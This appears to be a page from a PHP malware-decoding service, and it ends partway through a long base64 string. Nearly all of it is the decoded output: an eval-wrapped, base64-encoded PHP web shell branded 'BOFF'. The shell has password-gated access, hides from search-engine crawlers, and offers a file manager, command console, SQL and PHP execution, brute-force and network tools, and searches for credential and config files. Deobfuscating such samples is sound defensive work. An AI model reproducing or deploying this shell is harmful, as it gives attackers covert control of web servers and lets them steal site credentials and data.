Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode("eJzUvWtv4kzTP/h+pf0c+5fmxWVzyARppRWYk80h4WSM36zATozxAe4..

Decoded Output download

<?php
eval(base64_decode('JGF1dGhfcGFzcyA9ICJmN2M0NjQ5YWMxNTFjODZlOWY0OTcxMTFhYzRkYjc0OCI7DQokY29sb3IgPSAiYmxhY2siOw0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsNCiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsNCiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsNCg0KaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7DQogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ0JPRkZfVkVSU0lPTicsICcxLjAnKTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIEJPRkZzdHJpcHNsYXNoZXMoJGFycmF5KSB7DQoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdCT0ZGc3RyaXBzbGFzaGVzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBCT0ZGc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQp9DQoNCmZ1bmN0aW9uIEJPRkZMb2dpbigpIHsNCglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxiPkF1dGhvcml6YXRpb248L2I+PGJyPj8wZmYgXC9cLzM/ICR8LXwzMTEgMS4wPGJyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOw0KfQ0KDQppZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQoJaWYoIGVtcHR5KCRhdXRoX3Bhc3MpIHx8ICggaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MpICkgKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCgllbHNlDQoJCUJPRkZMb2dpbigpOw0KDQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpDQoJJG9zID0gJ3dpbic7DQplbHNlDQoJJG9zID0gJ25peCc7DQoNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQppZighJHNhZmVfbW9kZSkNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KJGhvbWVfY3dkID0gQGdldGN3ZCgpOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKQ0KCUBjaGRpcigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGdldGN3ZCgpOw0KaWYoJG9zID09ICd3aW4nKSB7DQoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQoNCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddKSkNCiAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJEdMT0JBTFNbJ2RlZmF1bHRfdXNlX2FqYXgnXTsNCg0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2Ig0KCSk7DQoNCmZ1bmN0aW9uIEJPRkZIZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIEJPRkYgIiAuIEJPRkZfVkVSU0lPTiAuIjwvdGl0bGU+DQo8c3R5bGU+DQpib2R5e2JhY2tncm91bmQtY29sb3I6YmxhY2s7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBib3JkZXI6MXB4IG91dHNldCBibGFjaztmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAjZGY1O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0Kc3BhbixoMSxheyBjb2xvcjogI2RmNSAhaW1wb3J0YW50OyB9DQpzcGFueyBmb250LXdlaWdodDogYm9sZGVyOyB9DQpoMXsgYm9yZGVyLWxlZnQ6N3B4IHNvbGlkICNkZjU7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjpibGFjazttYXJnaW46MHB4OyB9DQpkaXYuY29udGVudHsgcGFkZGluZzogN3B4O21hcmdpbi1sZWZ0OjdweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0NCmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9DQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9DQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICNkZjU7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQ0KZm9ybXsgbWFyZ2luOjBweDsgfQ0KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQ0KLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzAwMzMwMDt9DQoubWFpbiB0cjpob3Zlcntib3JkZXI6MnB4IG91dHNldCBncmF5OztiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9DQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQ0KLmwye2JhY2tncm91bmQtY29sb3I6IzMzM30NCnByZXtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCiAgICB2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJw0KICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsNCiAgICB2YXIgcDFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgZCA9IGRvY3VtZW50Ow0KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KCX0NCglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCWQubWYuc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCgkJc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQoJfQ0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7DQoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpDQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCgkJZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpDQoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsNCiAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsNCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgIH0NCgl9DQoJZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCgkJaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgew0KCQkJCXZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOw0KCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCgkJCX0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsNCgl9DQo8L3NjcmlwdD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7YmFja2dyb3VuZC1jb2xvcjojNDQ0O3RvcDowO2xlZnQ6MDsnPg0KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+DQo8L2Zvcm0+IjsNCgkkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOw0KCSRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KCSRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL2xpc3QucGhwP2Rlc2NyaXB0aW9uPSc7DQoJaWYoc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSkNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsNCgllbHNlDQoJCSRleHBsaW5rIC49IHVybGVuY29kZSgka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykpOw0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgew0KCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJCSR1aWQgPSBAZ2V0bXl1aWQoKTsNCgkJJGdpZCA9IEBnZXRteWdpZCgpOw0KCQkkZ3JvdXAgPSAiPyI7DQoJfSBlbHNlIHsNCgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOw0KCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7DQoJCSR1c2VyID0gJHVpZFsnbmFtZSddOw0KCQkkdWlkID0gJHVpZFsndWlkJ107DQoJCSRncm91cCA9ICRnaWRbJ25hbWUnXTsNCgkJJGdpZCA9ICRnaWRbJ2dpZCddOw0KCX0NCg0KCSRjd2RfbGlua3MgPSAnJzsNCgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWNvdW50KCRwYXRoKTsNCglmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgew0KCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQoJCWZvcigkaj0wOyAkajw9JGk7ICRqKyspDQoJCQkkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7DQoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsNCgl9DQoNCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCgkkb3B0X2NoYXJzZXRzID0gJyc7DQoJZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pDQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsNCg0KCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZlTW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOw0KCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQ0KCQkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsNCgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsNCgkkbWVudSA9ICcnOw0KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQoJCSRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+IF08L3RoPic7DQoNCgkkZHJpdmVzID0gIiI7DQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsNCgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpDQoJCWlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKQ0KCQkJJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOw0KCX0NCgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKSAuICc8L3NwYW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxub2JyPicgLiBzdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApIC4gJyA8YSBocmVmPSInIC4gJGV4cGxpbmsgLiAnIiB0YXJnZXQ9X2JsYW5rPltleHBsb2l0LWRiLmNvbV08L2E+PC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9YmxhY2s+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiBCT0ZGVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIEJPRkZWaW